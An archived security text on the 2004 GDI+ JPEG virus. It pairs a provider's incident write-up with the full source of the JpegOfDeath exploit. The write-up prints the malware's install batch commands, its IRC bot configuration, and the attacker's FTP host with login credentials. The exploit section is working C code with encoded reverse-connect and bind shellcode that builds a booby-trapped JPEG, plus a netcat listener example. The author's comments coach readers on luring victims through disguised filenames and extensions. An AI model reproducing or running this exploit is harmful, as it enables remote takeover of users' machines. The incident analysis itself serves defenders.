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TUCoPS :: Windows :: jpegdeth.txt

All about the GDI+ JPEG Virus




jpeg virus in the wild?!

UPDATE: To check to see if you have been infected by this virus, look
        for a directory named c:\windows\system32\system\ that has
        nvsvc.exe and winrun.exe in it.

UPDATE: We have packet logs at http://easynews.com/virus/  THIS VIRUS IS
NASTY!

If you don't know what a jpeg virus is, check out:
http://news.google.com/news?q=jpeg+virus

Swany and I wrote a quick and nasty script to scan every jpeg that comes into Easynews.com..  It paged
my cell phone at 6:47pm PDT on 9/26/2004 for the first hit, and 7:52pm PDT on 9/26/2004 for
the second hit.

Once this JPEG overflowed GDI+, it phoned home, connected to and ftp site and downloaded
almost 2megs of stuff.  It installs a trojan that installs itself as a service.

It also installs radmin (radmin.com) running as 'r_server'.  From the radmin.com site, "With Radmin you
can work on a remote computer exactly as if you were right there at its keyboard."

It phones home to the same IP that is in the usenet post headers.  Then it seems
to connect to ftp://209.171.43.27/www/system/ u/p  bawz/pagdba  (last time I checked, 93 users where logged in!)

it downloads these files:

-rw-r--r--  1 root  root   90112 Sep 27 09:43 AdmDll.dll
-rw-r--r--  1 root  root  114688 Sep 27 09:43 Fport.exe
-rw-r--r--  1 root  root     663 Sep 27 09:43 ServUStartUpLog.txt
-rw-r--r--  1 root  root   32768 Sep 27 09:43 VNCHooks.dll
-rw-r--r--  1 root  root    1407 Sep 27 09:43 WinRun.dll
-rw-r--r--  1 root  root  811008 Sep 27 09:43 WinRun.exe
-rw-r--r--  1 root  root    1268 Sep 27 09:43 driver.log
-rw-r--r--  1 root  root   24576 Sep 27 09:43 drives.exe
-rw-r--r--  1 root  root     150 Sep 27 09:43 execute.bat
-rw-r--r--  1 root  root       0 Sep 27 09:43 filter3.ocx
-rw-r--r--  1 root  root    1052 Sep 27 09:43 irc-u.cfg
-rw-r--r--  1 root  root       0 Sep 27 09:43 irc-u.dat
-rw-r--r--  1 root  root   16802 Sep 27 09:43 irc-u.debug.log
-rw-r--r--  1 root  root  102400 Sep 27 09:43 irc-u.dll
-rw-r--r--  1 root  root   26624 Sep 27 09:43 kill.exe
-rw-r--r--  1 root  root   59392 Sep 27 09:43 nc.exe
-rw-r--r--  1 root  root  241664 Sep 27 09:43 nvsvc.exe
-rw-r--r--  1 root  root   36864 Sep 27 09:43 nvsvc32.dll
-rw-r--r--  1 root  root   45056 Sep 27 09:43 omnithread_rt.dll
-rw-r--r--  1 root  root   34304 Sep 27 09:43 peek.exe
-rw-r--r--  1 root  root   29408 Sep 27 09:43 raddrv.dll
-rw-r--r--  1 root  root     713 Sep 27 09:43 radmin.reg
-rw-r--r--  1 root  root   26112 Sep 27 09:43 rcrypt.exe
-rw-r--r--  1 root  root   40960 Sep 27 09:43 reg.exe
-rw-r--r--  1 root  root    6656 Sep 27 09:43 uptime.exe
-rw-r--r--  1 root  root  208896 Sep 27 09:43 vns.exe

and executes 'execute.bat', which looks like:

regedit.exe /s radmin.reg
nvsvc.exe /install /silence
nvsvc.exe /pass:hardcore /port:10002 /save /silence
nvsvc.exe /start /silence
net start r_server

it also installs an irc client with this config info:
server1=irc.p2pchat.net
port1=7777
login=Darkbro0d
channel=#FurQ
password=letmein
nick1=Track100Mbit
nick2=Trck100#1
sfv=1
user=Trackmaster
login=darkbro0d

Here is the data:

The isolated file is here (BE CAREFUL - DON'T SUE ME FOR DAMAGE, I'LL COUNTER-SUE!):

http://easynews.com/virus/virus-jpeg.zip

md5: b7e7a5703a722558b6a170be5c43b90d
crc32:a3e0f71e
size: 4098 bytes

Here is the first message header:

Path: news.easynews.com!core-easynews!newsfeed2.easynews.com!newsfeed1.easynews.com!easynews.com!easynews!cyclone1.gnilink.net!gnilink.net!wn14feed!worldnet.att.net!204.71.34.3!newsfeed.cwix.com!newsfeed.icl.net!newsfeed.wirehub.nl!news.cambrium.nl!news.cambrium.nl!news2.euro.net!62.253.162.219.MISMATCH!news-in.ntli.net!newsrout1-win.ntli.net!ntli.net!newspeer1-win.ntli.net!newsfe3-win.ntli.net.POSTED!53ab2750!not-for-mail
From: Power-Poster@power-post.org (Power-Post 2000)
Sender: Power-Poster@power-post.org
Newsgroups: alt.binaries.multimedia.erotica.transsexuals,alt.binaries.pictures.erotica.transexual,alt.binaries.pictures.erotica.transexual.action,alt.binaries.pictures.erotica.transsexual
Subject: (Shemale-loves it up the ass.jpg (1/1)] [1/1] - Shemale loves it up the ass
X-Newsposter: NNTP POWER-POST 2000 (Build 24c) - net-toys.8k.com
Lines: 96
Message-ID: <A_J5d.105$24.101@newsfe3-win.ntli.net>
Date: Mon, 27 Sep 2004 01:25:52 GMT
NNTP-Posting-Host: 82.1.163.241
X-Trace: newsfe3-win.ntli.net 1096248352 82.1.163.241 (Mon, 27 Sep 2004 02:25:52 BST)
NNTP-Posting-Date: Mon, 27 Sep 2004 02:25:52 BST
Organization: NTL
Xref: core-easynews alt.binaries.multimedia.erotica.transsexuals:1756301 alt.binaries.pictures.erotica.transexual:393069 alt.binaries.pictures.erotica.transexual.action:2666691 alt.binaries.pictures.erotica.transsexual:207823
X-Received-Date: Sun, 26 Sep 2004 19:19:51 MST (news.easynews.com)

And here is the second header:

Path: news.easynews.com!core-easynews!newsfeed2.easynews.com!newsfeed1.easynews.com!easynews.com!easynews!bigfeed2.bellsouth.net!bigfeed.bellsouth.net!news.bellsouth.net!news-in.ntli.net!newsrout1-win.ntli.net!ntli.net!newspeer1-win.ntli.net!newsfe2-win.ntli.net.POSTED!53ab2750!not-for-mail
From: Power-Poster@power-post.org (Power-Post 2000)
Sender: Power-Poster@power-post.org
Newsgroups: alt.binaries.erotica.beanie-babies,alt.binaries.erotica.breasts,alt.binaries.erotica.christy-canyon,alt.binaries.erotica.fetish,alt.binaries.erotica.original.sin,alt.binaries.erotica.pornstar
Subject: (Beautiful 20yr old - double penetration.jpg (1/1)] [1/1] - 20yr old double penetration
X-Newsposter: NNTP POWER-POST 2000 (Build 24c) - net-toys.8k.com
Lines: 96
Message-ID: <S2L5d.341$wW2.317@newsfe2-win.ntli.net>
Date: Mon, 27 Sep 2004 02:38:42 GMT
NNTP-Posting-Host: 82.1.163.241
X-Trace: newsfe2-win.ntli.net 1096252722 82.1.163.241 (Mon, 27 Sep 2004 03:38:42 BST)
NNTP-Posting-Date: Mon, 27 Sep 2004 03:38:42 BST
Organization: NTL
Xref: core-easynews alt.binaries.erotica.beanie-babies:884786 alt.binaries.erotica.breasts:1112072 alt.binaries.erotica.christy-canyon:368690 alt.binaries.erotica.fetish:1386267 alt.binaries.erotica.original.sin:1793 alt.binaries.erotica.pornstar:831729
X-Received-Date: Sun, 26 Sep 2004 20:12:42 MST (news.easynews.com)

Here is a 'djpeg' output:

djpeg -debug b7e7a5703a722558b6a170be5c43b90d0a3e0f71e.jpg  > /dev/null
Independent JPEG Group's DJPEG, version 6b  27-Mar-1998
Copyright (C) 1998, Thomas G. Lane
Start of Image
JFIF APP0 marker: version 1.02, density 100x100  0
APP12, length 15:
Ducky\000\001\000\004\000\000\000
\000\000
Adobe APP14 marker: version 100, flags 0xc000 0x0000, transform 1
Comment, length -1:

Corrupt JPEG data: 130 extraneous bytes before marker 0xc0
Start Of Frame 0xc0: width=555, height=857, components=3
    Component 1: 2hx2v q=0
    Component 2: 1hx1v q=1
    Component 3: 1hx1v q=1
Define Huffman Table 0x00
Define Huffman Table 0x01
Define Huffman Table 0x10
Define Huffman Table 0x11
Start Of Scan: 3 components
    Component 1: dc=0 ac=0
    Component 2: dc=1 ac=1
    Component 3: dc=1 ac=1
  Ss=0, Se=63, Ah=0, Al=0
Quantization table 0x00 was not defined

Here is a 'strings' output:

JFIF
Ducky
Adobe
p&.>55555>
DDDDDDDDDDDDD
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
"2BR
j0_R
}tL#
xgTYdG
<kF`
k>iv
k$bAa
cspkkj
nXc|3
Y9cY
.IBmRp9b
4$XXXX
mmmmm
emDXOR


-- godzilla   

EASYNEWS ROCKS!



ps:  sample exploit code:

/***************************************************************
 *
 * GDI+ JPEG Remote Exploit 
 *  By John Bissell A.K.A. HighT1mes
 *
 * Exploit Name:
 * =============
 *  JpegOfDeath.c v0.5
 *
 * Date Exploit Released:
 * ======================
 *  Sep, 23, 2004
 *
 * Description:
 * ============
 *  Exploit based on FoToZ exploit but kicks the exploit up 
 *  a notch by making it have reverse connectback as well as
 *  bind features that will work with all NT based OS's.
 *  WinNT, WinXP, Win2K, Win2003, etc... Thank you FoToz for
 *  helping get a grip on the situation. I actually had got
 *  bind jpeg exploit working earlier but I could only 
 *  trigger from OllyDbg due to the heap dynamically changing...
 *
 *  If anyone who uses this exploit has used my recent AIM 
 *  remote exploit then you will have a good idea already of how
 *  to use this exploit correctly.
 *
 *  Through my limited testing I have found on a unpatched 
 *  XP SP1 system that if you click the exploit jpeg file
 *  in Windows Explorer then you will be hacked. I know there
 *  are more attack points you can take advantage of if you
 *  look for them.. So say someone goes on any web browser
 *  and they decide to save your jpeg and then later open it
 *  in explorer.exe then they will be attacked.. or maybe they
 *  got a email that has a good filename attachment title to
 *  it like "daisey fuentes porn pic.jpg" well then they 
 *  want to see it so they save it to there harddrive and open
 *  the pic in explorer.exe and game over. You just have to
 *  test and get creative. The reason this is version 0.5 is
 *  because I know rundll32.exe is MAJORALLY exploitable and I know
 *  that would make this exploit far more powerful if I 
 *  figured that part out.. I have already exploited it
 *  personally myself but I need to run some more tests to
 *  make things final for everyone... On another side note
 *  for the people out there who think you can only be affected 
 *  through viewing or downloading a jpeg attachment.. you're
 *  dead wrong.. All the attacker has to do is simply change
 *  image extension from .jpg to .bmp or .tif or whatever
 *  and stupid Windows will still treat the file as a JPEG :-p...
 *  Also the fact is this vulnerability is exploitable 
 *  without the victim clicking a link... For instance you
 *  send them the image with a 1,1 width,height and then'
 *  they can't see it in Outlook Express, so there like 
 *  man this image has a cool name so I'll try to open the
 *  attachment, then there FUCKED... Well ok they have to
 *  click in a round-about-way.. but I'm sure if you're
 *  creative enough with all those MS features you can figure
 *  something out ;-)
 *
 *  I'll most likely be putting out another version of this
 *  exploit (more dangerous) once more testing has been done. So 
 *  I encourage everyone out there to download SP2, patch your
 *  Windows systems, etc... Of course this won't be a 
 *  cure all solution :-/
 *
 * Note:
 * =====
 *  If someone wants to take advantage of the bind mode of
 *  attack in this exploit you will need to set up a script
 *  on a web server to check everyone who downloads the 
 *  jpeg exploit file and then connect back to them on the
 *  port you wanted to use with the bind attack... One of
 *  the reasons I decided to keep the bind shellcode option
 *  in here is because sometimes as you people know a
 *  firewall will be more restrictive on outbound connections
 *  and there are times where a bind attack will do just right
 *  if the reverse connect attack won't work... On ANOTHER
 *  note you can also rename your jpeg file extension to
 *  something like a .bmp or .tif and dumb Windows program's
 *  (most of them) won't give give a shit and try to load the 
 *  jpeg anyways... You can easily trick unsuspecting people 
 *  this way.. which is pretty much everyone.. right??
 *
 * Greetings:
 * ==========
 *  FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
 *  Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
 *  Nick Fitzgerald, Adam Nance (where are you?),
 *  Santa Barbara, Jenna Jameson, John Kerry, so1o, 
 *  Computer Security Industry, Rom Hackers,  My chihuahuas
 *  (Rocky, Sailor, and Penny)...
 *
 *
 * Disclaimer:
 * ===========
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * Look out for a better version of this exploit in a few days.. perhaps...
 *
 ********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

/* Exploit Data... */

char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
"\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
"\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
"\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
"\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
"\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA"
"\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8"
"\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\x96\xE6\x76\xC3"
"\xC1\x6D\xA6\x1D\x7A\x1A\x92\x92\x92\xCB\x1B\x96\x1C\x70\x79\xA3"
"\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92\x6D\xC7\x8A\xC5"
"\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x86\x1B\x51\xA3\x6D\xFA\xDF"
"\xDF\xDF\xDF\xFA\x90\x92\xB0\x83\x1B\x73\xF8\x82\xC3\xC1\x6D\xC7"
"\x82\x17\x52\xE7\xDB\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x54"
"\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xCE\xB6\xDA\x1B"
"\xCE\xB6\xDE\x1B\xCE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3\xC3"
"\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xBA\x1B\x73\x79\x9C"
"\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xB6\xC5\x6D\xC7\x9E\x6D\xC7"
"\xB2\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97\xEA"
"\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6\x19"
"\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F\x93"
"\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4\x19"
"\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3\x52"
"\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

char bind_shellcode[] =
"\xD9\xE1\xD9\x34\x24\x58\x58\x58"
"\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x97\xFE\x80\x30\x92\x40\xE2"
"\xFA\x7A\xAA\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB\x54\xEB\x77\xDB"
"\x14\xDB\x36\x3F\xBC\x7B\x36\x88\xE2\x55\x4B\x9B\x67\x3F\x59\x7F"
"\x6E\xA9\x1C\xDC\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C"
"\x21\x84\xC5\xC1\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6"
"\x1B\x77\x1B\xCF\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2"
"\x8E\x3F\x19\xCA\x9A\x79\x9E\x1F\xC5\xBE\xC3\xC0\x6D\x42\x1B\x51"
"\xCB\x79\x82\xF8\x9A\xCC\x93\x7C\xF8\x98\xCB\x19\xEF\x92\x12\x6B"
"\x94\xE6\x76\xC3\xC1\x6D\xA6\x1D\x7A\x07\x92\x92\x92\xCB\x1B\x96"
"\x1C\x70\x79\xA3\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92"
"\x6D\xC7\xB2\xC5\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x8E\x1B\x51"
"\xA3\x6D\xC5\xC5\xFA\x90\x92\x83\xCE\x1B\x74\xF8\x82\xC4\xC1\x6D"
"\xC7\x8A\xC5\xC1\x6D\xC7\x86\xC5\xC4\xC1\x6D\xC7\x82\x1B\x50\xF4"
"\x13\x7E\xC6\x92\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x1B\x45"
"\x54\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xEE\xB6\xDA"
"\x1B\xEE\xB6\xDE\x1B\xEE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3"
"\xC3\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xA2\x1B\x73\x79"
"\x9C\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xBE\xC5\x6D\xC7\x9E\x6D"
"\xC7\xBA\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97"
"\xEA\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6"
"\x19\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F"
"\x93\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4"
"\x19\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3"
"\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

char header1[] =
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
"\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
"\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"
"\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"
"\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
"\x2E\x3E\x35\x35\x35\x35\x35\x3E";

char setNOPs1[] =
"\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char setNOPs2[] =
"\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
"\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";

char header2[] =
"\x44"
"\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
"\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"
"\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"
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/* Code... */

unsigned char xor_data(unsigned char byte)
{
	return(byte ^ 0x92);
}

void print_usage(char *prog_name)
{
	printf(" Exploit Usage:\n");
	printf("\t%s -r your_ip | -b [-p port] <jpeg_filename>\n\n", prog_name);
	printf(" Parameters:\n");
	printf("\t-r your_ip or -b\t Choose -r for reverse connect attack mode\n\t\t\t\t
and choose -b for a bind attack. By default\n\t\t\t\t if you don't specify -r or
-b then a bind\n\t\t\t\t attack will be generated.\n\n");
	printf("\t-p (optional)\t\t This option will allow you to change the port \n\t\t\t\t
used for a bind or reverse connect attack.\n\t\t\t\t If the attack mode is bind
then  the\n\t\t\t\t victim will open the -p port. If the attack\n\t\t\t\t mode
is reverse connect  then the port you\n\t\t\t\t specify will be the one you want
to listen\n\t\t\t\t on so the victim can  connect to you\n\t\t\t\t right away.\n\n");
	printf(" Examples:\n");
	printf("\t%s -r 68.6.47.62 -p 8888 test.jpg\n", prog_name);
	printf("\t%s -b -p 1542 myjpg.jpg\n", prog_name);
	printf("\t%s -b whatever.jpg\n", prog_name);
	printf("\t%s -r 68.6.47.62 exploit.jpg\n\n", prog_name);
	printf(" Remember if you use the -r option to have netcat listening\n");
	printf(" on the port you are using for the attack so the victim will\n");
	printf(" be able to connect to you when exploited...\n\n");
	printf(" Example:\n");
	printf("\tnc.exe -l -p 8888");
	exit(-1);
}

int main(int argc, char *argv[])
{
	FILE *fout;
	unsigned int i = 0,j = 0;
	int raw_num = 0;
	unsigned long port = 1337; /* default port for bind and reverse attacks */
	unsigned long encoded_port = 0;
	unsigned long encoded_ip = 0;
	unsigned char attack_mode = 2; /* bind by default */
	char *p1 = NULL, *p2 = NULL;
	char ip_addr[256];
	char str_num[16];
	char jpeg_filename[256];
	WSADATA wsa;

	printf(" +------------------------------------------------+\n");
	printf(" |  JpegOfDeath - Remote GDI+ JPEG Remote Exploit |\n");
	printf(" |    Exploit by John Bissell A.K.A. HighT1mes    |\n");
	printf(" |              September, 23, 2004               |\n");
	printf(" +------------------------------------------------+\n");
	if (argc < 2)
		print_usage(argv[0]);

	/* process commandline */
	for (i = 0; i < (unsigned) argc; i++) {
		if (argv[i][0] == '-') {
			switch (argv[i][1]) {
			case 'r':
				/* reverse connect */
				strncpy(ip_addr, argv[i+1], 20);
				attack_mode = 1;
				break;
			case 'b':
				/* bind */
				attack_mode = 2;
				break;
			case 'p':
				/* port */
				port = atoi(argv[i+1]);
				break;
			}
		}
	}

	strncpy(jpeg_filename, argv[i-1], 255);
	fout = fopen(argv[i-1], "wb");
        
	if( !fout ) {
		printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
		return(EXIT_FAILURE);
	}

	/* initialize the socket library */
	if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
		printf("Error: Winsock didn't initialize!\n");
		exit(-1);
	}

	encoded_port = htonl(port);
	encoded_port += 2;
	if (attack_mode == 1) {
		/* reverse connect attack */
		reverse_shellcode[184] = (char) 0x90;
     	reverse_shellcode[185] = (char) 0x92;
		reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
		reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));

		p1 = strchr(ip_addr, '.');
		strncpy(str_num, ip_addr, p1 - ip_addr);
		raw_num = atoi(str_num);
		reverse_shellcode[179] = xor_data((char)raw_num);

		p2 = strchr(p1+1, '.');
		strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
		raw_num = atoi(str_num);
		reverse_shellcode[180] = xor_data((char)raw_num);

		p1 = strchr(p2+1, '.');
		strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
		raw_num = atoi(str_num);
		reverse_shellcode[181] = xor_data((char)raw_num);

		p2 = strrchr(ip_addr, '.');
		strncpy(str_num, p2+1, 5);
		raw_num = atoi(str_num);
		reverse_shellcode[182] = xor_data((char)raw_num);
	}
	if (attack_mode == 2) {
		/* bind attack */ 
		bind_shellcode[204] = (char) 0x90;
     	bind_shellcode[205] = (char) 0x92;
		bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
		bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
	}

	/* build the exploit jpeg */
	j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;
      
	for(i = 0; i < sizeof(header1) - 1; i++)
		fputc(header1[i], fout);
	for(i=0;i<sizeof(setNOPs1)-1;i++)
		fputc(setNOPs1[i], fout);
	for(i=0;i<sizeof(header2)-1;i++)
		fputc(header2[i], fout);
	for( i = j; i < 0x63c; i++) 
		fputc(0x90, fout);
		j = i;
	if (attack_mode == 1) {
		for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
			fputc(reverse_shellcode[i], fout);
	}
	else if (attack_mode == 2) {
		for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
			fputc(bind_shellcode[i], fout);
	}
	for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
		fputc(0x90, fout); 
	for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
		fputc(setNOPs2[j], fout);
        
	fprintf(fout, "\xFF\xD9");

	fcloseall();

	WSACleanup();

	printf("  Exploit JPEG file %s has been generated!\n", jpeg_filename);

	return(EXIT_SUCCESS);
}



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